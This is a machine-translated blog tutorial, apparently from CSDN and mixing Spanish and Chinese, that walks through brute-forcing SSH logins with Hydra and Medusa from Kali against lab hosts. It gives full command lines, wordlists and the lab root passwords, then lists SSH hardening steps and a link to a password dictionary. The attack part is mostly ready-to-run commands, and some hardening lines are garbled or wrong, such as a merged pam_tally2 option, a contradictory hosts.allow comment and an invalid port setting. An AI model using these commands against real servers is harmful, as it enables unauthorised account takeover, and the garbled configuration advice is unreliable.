Prueba de seguridad del servidor --- prueba de contraseña ssh de craqueo de Kali

Prefacio:

  Este artículo presentará las herramientas Hydray Medusaherramientas de uso común para el descifrado por fuerza bruta de cuentas y contraseñas de inicio de sesión remoto SSH , y utilizará estas herramientas para realizar pruebas sencillas de descifrado en la máquina de destino para obtener métodos de prevención eficaces.

1. Introducción a la herramienta

  Las herramientas están incluidas con el sistema Kali. Por supuesto, también se pueden descargar y probar otros sistemas Linux. Primero conozcamos estas herramientas.


Hidra

  Hydra (Hydra) es la herramienta de descifrado de contraseñas de fuerza bruta más importante del mundo. Admite el descifrado de contraseñas en línea de casi todos los protocolos. Es poderosa. La clave para saber si se puede descifrar su contraseña depende de si el diccionario de descifrado es lo suficientemente fuerte. una herramienta en el proceso de penetración de la seguridad de la red La herramienta de prueba necesaria.

Introducción de parámetros:

hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [service://server[:PORT][/OPT]]
-R 恢复上一次的会话
-I 忽略存在的恢复文件
-S SSL连接
-s 端口号
-l 尝试登陆名
-L 从文件中导入登录名
-p 尝试密码
-P 从文件中导入密码
-e nsr n尝试空密码 s尝试与用户名相同的密码 r反向登陆循环
-c TIME 设置尝试登陆等待时间
-4 / -6 使用IPV4地址或IPV6地址
-v / -V 详细信息模式/显示每次尝试的用户名+密码/调试模式
-O 使用旧版本SSL v2和v3
-q 不显示连接错误信息
-h 帮助
-M 从文件中导入服务类型
-f / -F 在找到第一个账号/密码后,停止破解
server 目标IP
service 支持的服务类型
支持的服务类型:adam6500 asterisk cisco cisco-enable cvs firebird ftp ftps http[s]-{
    
    head|get|post} http[s]-{
    
    get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{
    
    cram|digest}md5][s] mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres radmin2 rdp redis rexec rlogin rpcap rsh rtsp s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp
Examples:
hydra -l user -P passlist.txt ftp://192.168.0.1
  hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
  hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
  hydra -l admin -p password ftp://[192.168.0.0/24]/
  hydra -L logins.txt -P pws.txt -M targets.txt ssh


Medusa

  Medusa (Medusa) es un inicio de sesión rápido, masivamente paralelo, modular y explosivo. Puede realizar pruebas de fuerza bruta en varios hosts, usuarios o contraseñas al mismo tiempo.

基于线程的并行测试:可以对多个执行暴力测试 主机,用户或密码同时进行。
灵活的用户输:目标信息(主机/用户/密码)可以在 多种方式。 例如,每个项目可以是单个条目或文件    包含多个条目, 此外,组合文件格式允许用户 完善目标列表。
模块化设计: 每个服务模块都作为独立的.mod文件存在。 这表示 无需对核心应用程序进行任何修改即可扩展受支持的列表 暴力破解服务。 

Introducción de parámetros:

Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT]
-h [TEXT]      目标IP
-H [FILE]      目标主机文件
-u [TEXT]      用户名
-U [FILE]      用户名文件
-p [TEXT]      密码
-P [FILE]      密码文件
-C [FILE]      组合条目文件
-O [FILE]      文件日志信息
-e [n/s/ns]    N意为空密码,S意为密码与用户名相同
-M [TEXT]      模块执行名称
-m [TEXT]      传递参数到模块
-d             显示所有的模块名称
-n [NUM]       使用非默认端口
-s             启用SSL
-r [NUM]       重试间隔时间,默认为3秒
-t [NUM]       设定线程数量
-L             并行化,每个用户使用一个线程
-f             在找到第一个账号/密码后,停止破解
-q             显示模块的使用信息
-v [NUM]       详细级别(0-6详细)
-w [NUM]       错误调试级别(0-10)
-V             显示版本
-Z [TEXT]      继续扫描上一次
Example:
medusa -M ssh -u root -P passwd.txt -h 192.168.126.130 -f -v 6


Compara los dos

  1. Medusa es más estable que Hydra, pero la velocidad de craqueo es más lenta.

  2. Los intentos de SSH son más lentos que los de FTP.

  3. Medusa admite menos parámetros y tipos de servicios que Hydra, lo que puede ser la razón por la que no se ha actualizado durante mucho tiempo.

2. Entorno de prueba

Configuración de la máquina Kali:
versión: Linux kali 4.15.0-kali2-amd64
dirección: 10.8.161.163

Configuración de destino : Dirección de destino
1
: 10.8.161.9
Cuenta 1:
contraseña de root : a123.com Cuenta de usuario normal
:
usuario Contraseña de usuario normal: 6688aabbcc Dirección de destino
2
: 10.8.161.18
Cuenta:
contraseña de root : 666QWE888

Archivo de direcciones de grupos de hosts
host.txt

cat host.txt
10.8.161.9
10.8.161.18

Archivo de diccionario de usuario
user.txt

cat user.txt
admin
admin123
root
root123
user
Administrotor
adminroot
gly
gly123

Archivo de diccionario de contraseñas
passwd.txt

cat passwd.txt
6688aabbcc
asdfghq%^
adminqaz888
abc.123
666QWE888
100120354
a123.com        # 为了节省时间,把已知靶机密码写进密码本

3. Proceso de prueba

Hidra

hydra -L user.txt -P passwd.txt  -M host.txt -t 20 ssh 
-L 指定用户文件
-P 指定密码文件
-M 指定主机群文件
-t 指定使用的线程数,根据自己的设备性能设置

Inserte la descripción de la imagen aquí

Medusa

medusa  -U user.txt -P passwd.txt  -H host.txt  -M ssh -t 10
-U 指定用户文件
-P 指定密码文件
-H 指定主机群文件
-t 指定使用的线程数,根据自己的设备性能设置

Inserte la descripción de la imagen aquí

4. Cómo prevenir el agrietamiento por fuerza bruta

①Cambie la contraseña con regularidad
②Establezca una contraseña más compleja
③Establezca el número de inicios de sesión con contraseña

修改如下文件:
/etc/pam.d/sshd    (远程ssh) 
/etc/pam.d/login    (终端) 

在第一行下即#%PAM-1.0的下面添加:
auth required  pam_tally2.so deny=3 unlock_time=600 even_deny_rootroot_unlock_time

各参数解释:
even_deny_root    也限制root用户;   
deny           设置普通用户和root用户连续错误登陆的最大次数,超过最大次数,则锁定该用户   
unlock_time        设定普通用户锁定后,多少时间后解锁,单位是秒;
root_unlock_time      设定root用户锁定后,多少时间后解锁,单位是秒;

手动解除锁定:
查看错误登录次数:pam_tally2 –u tom
查看某一用户错误登陆次数:pam_tally –-user
例如,查看work用户的错误登陆次数:pam_tally –-user work
清空某一用户错误登陆次数:pam_tally –-user –-reset
例如,清空 work 用户的错误登陆次数,pam_tally –-user work –-reset

④Modificar el número de puerto

vim /etc/ssh/sshd_config
Port 1-65535  #开启端口限定,并指定端口1-65535之间

⑤ Desactive el inicio de sesión del usuario root y use sudo de usuario normal para escalar privilegios.

usermod root -s /sbin/nologin

⑥Solo permitir inicio de sesión IP designado

vim /etc/hosts.allow
例如sshd:8.8.8.8:allow  #禁止8.8.8.8 登陆

⑦ El inicio de sesión con contraseña está prohibido, inicie sesión con clave secreta

一.生成密钥的公钥和私钥
  1.ssh-keygen -t rsa 
二.将生成的私钥(id_rsa)下载到本地的windows机,并把公钥导入到.ssh/authorized_keys 文件中去
  1.#cd /root/.ssh/
  2.#cat id_rsa.pub > authorized_keys 
三.sshd配置
   1.sshd配置文件路径 /etc/ssh/sshd_config
四.设置sshd  服务器服务,打开以下设置:
        RSAAuthentication yes 
        PubkeyAuthentication yes
        AuthorizedKeysFile      /root/.ssh/authorized_keys
        ChallengeResponseAuthentication no 
        PasswordAuthentication no 
        UsePAM no 
五.重启ssh服务
    1.   #service ssh  restart (注意:如果是centos7以下版本)
    2.如果是centos7以上  
      查看ssh服务状态:systemctl status sshd.service
      开启ssh服务:systemctl start sshd.service
      重启ssh服务:systemctl restart sshd.service
      服务器自动开启:systemctl enable sshd.service
六.xshell登录
      登陆时候选择ssh登陆 ,添加id_rsa私钥文件,输入建立私钥时候的密码,就成功了。

5. Descarga del diccionario de contraseñas

Contiene contenido:
0-9a-zAZ ~! @ # $% ^ & ** () _ |: ">? Todas las contraseñas, 阳寿como el diccionario de contraseñas que necesita ejecutarse. !!!∑(゚Д゚ノ)ノ
Haga clic aquí para ver el diccionario de contraseñasᕦ
(・ ㅂ ・ ) ᕤhaga clic aquí Ver documentos del diccionarioᕦ (・ ㅂ ・) ᕤ


=============================================== = ============================================== == ============================================= === ============================================ ==== ============================================= ===== ========================================
Navegación y visualización difíciles, si es correcto, es útil , por favor dale me gusta (σ ゚ ∀ ゚) σ…: * ☆

Supongo que te gusta

Origin blog.csdn.net/qq_26129413/article/details/112294792
Recomendado
Clasificación